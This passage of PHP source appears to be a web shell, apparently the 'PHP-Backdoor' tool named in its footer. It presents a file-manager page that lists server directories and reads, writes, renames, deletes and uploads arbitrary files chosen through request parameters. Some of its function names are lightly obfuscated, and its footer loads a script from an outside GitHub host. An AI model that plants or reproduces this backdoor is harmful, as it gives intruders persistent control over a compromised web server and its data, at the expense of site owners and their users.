echo '<center><font color="#00ff00">Upload OK!</font></center><br/>';
} else {
echo '<center><font color="red">Upload FAILED!</font></center><br/>';
}
}
echo '</td></tr><tr><td></table><div class="table-div"></div><input id="image" type="hidden">';
echo '';
if (isset($_GET['filesrc'])) {
echo '<table width="100%" border="0" cellpadding="3" cellspacing="1" align="center"><tr><td>File: ';
echo "" . basename($_GET['filesrc']);
"";
echo '</tr></td></table><br />';
echo ("<center><textarea readonly=''>" . htmlspecialchars($__fgetcon7s($_GET['filesrc'])) . "</textarea></center>");
} elseif (isset($_GET['option']) && $_POST['opt'] != 'delete') {
echo '</table><br /><center>' . $_POST['path'] . '<br /><br />';
if ($_POST['opt'] == 'rename') {
if (isset($_POST['newname'])) {
if (rename($_POST['path'], $path . '/' . $_POST['newname'])) {
echo '<center><font color="#00ff00">Rename OK!</font></center><br />';
} else {
echo '<center><font color="red">Rename Failed!</font></center><br />';
}
$_POST['name'] = $_POST['newname'];
}
echo '<form method="POST">New Name : <input name="newname" type="text" size="20" value="' . $_POST['name'] . '" /> <input type="hidden" name="path" value="' . $_POST['path'] . '"><input type="hidden" name="opt" value="rename"><input type="submit" value="Go" /></form>';
} elseif ($_POST['opt'] == 'edit') {
if (isset($_POST['src'])) {
$fp = fopen($_POST['path'], 'w');
if (fwrite($fp, $_POST['src'])) {
echo '<center><font color="#00ff00">Edit File OK!.</font></center><br />';
} else {
echo '<center><font color="red">Edit File Failed!.</font></center><br />';
}
fclose($fp);
}
echo '<form method="POST"><textarea cols=80 rows=20 name="src">' . htmlspecialchars($__fgetcon7s($_POST['path'])) . '</textarea><br /><input type="hidden" name="path" value="' . $_POST['path'] . '"><input type="hidden" name="opt" value="edit"><input type="submit" value="Go" /></form>';
}
echo '</center>';
} else {
echo '</table><br /><center>';
if (isset($_GET['option']) && $_POST['opt'] == 'delete') {
if ($_POST['type'] == 'dir') {
if ($rm__dir($_POST['path'])) {
echo '<center><font color="#00ff00">Dir Deleted!</font></center><br />';
} else {
echo '<center><font color="red">Delete Dir Failed!</font></center><br />';
}
} elseif ($_POST['type'] == 'file') {
if ($un__link($_POST['path'])) {
echo '<font color="#00ff00">Delete File Done.</font><br />';
} else {
echo '<font color="red">Delete File Error.</font><br />';
}
}
}
echo '</center>';
$_scdir = $__scdir($path);
echo '<div id="content"><table width="100%" border="0" cellpadding="3" cellspacing="1" align="center"><tr class="first"> <th><center>Name</center></th><th width="12%"><center>Size</center></th><th width="10%"><center>Permissions</center></th> <th width="15%"><center>Last Update</center></th><th width="11%"><center>Options</center></th></tr>';
foreach ($_scdir as $dir) {
if (!is_dir("$path/$dir") || $dir == '.' || $dir == '..')
continue;
echo "<tr><td>[D] <a href=\"?path=$path/$dir\">$dir</a></td><td><center>--</center></td><td><center>";
if (is_writable("$path/$dir"))
echo '<font color="#00ff00">';
elseif (!is_readable("$path/$dir"))
echo '<font color="red">';
echo perms("$path/$dir");
if (is_writable("$path/$dir") || !is_readable("$path/$dir"))
echo '</font>';
echo "</center></td><td><center>" . date("d-M-Y H:i", filemtime("$path/$dir")) . "";
echo "</center></td> <td><center><form method=\"POST\" action=\"?option&path=$path\"><select name=\"opt\"><option value=\"\"></option><option value=\"delete\">Delete</option><option value=\"rename\">Rename</option></select><input type=\"hidden\" name=\"type\" value=\"dir\"><input type=\"hidden\" name=\"name\" value=\"$dir\"><input type=\"hidden\" name=\"path\" value=\"$path/$dir\"><input type=\"submit\" value=\"+\" /></form></center></td></tr>";
}
foreach ($_scdir as $file) {
if (!is_file("$path/$file"))
continue;
$size = filesize("$path/$file") / 1024;
$size = round($size, 3);
if ($size >= 1024) {
$size = round($size / 1024, 2) . ' MB';
} else {
$size = $size . ' KB';
}
echo "<tr><td>[F] <a href=\"?filesrc=$path/$file&path=$path\">$file</a></td><td><center>" . $size . "</center></td><td><center>";
if (is_writable("$path/$file"))
echo '<font color="#00ff00">';
elseif (!is_readable("$path/$file"))
echo '<font color="red">';
echo perms("$path/$file");
if (is_writable("$path/$file") || !is_readable("$path/$file"))
echo '</font>';
echo "</center></td><td><center>" . date("d-M-Y H:i", filemtime("$path/$file")) . "";
echo "</center></td><td><center><form method=\"POST\" action=\"?option&path=$path\"><select name=\"opt\"><option value=\"\"></option><option value=\"delete\">Delete</option><option value=\"rename\">Rename</option><option value=\"edit\">Edit</option></select><input type=\"hidden\" name=\"type\" value=\"file\"><input type=\"hidden\" name=\"name\" value=\"$file\"><input type=\"hidden\" name=\"path\" value=\"$path/$file\"><input type=\"submit\" value=\"+\" /></form></center></td></tr>";
}
echo '</table></div>';
}
function perms($file)
{
$perms = fileperms($file);
if (($perms & 0xC000) == 0xC000) {
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
$info = 'p';
} else {
$info = 'u';
}
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-'));
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-'));
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-'));
return $info;
}
echo '<br><center>© <span id="footer"></span> 2018.</center><br>';
echo '<script type="text/javascript" src="//zerobyte-id.github.io/PHP-Backdoor/inc/footer.js"></script>';
echo '</body></html><!-- EOF -->';
?>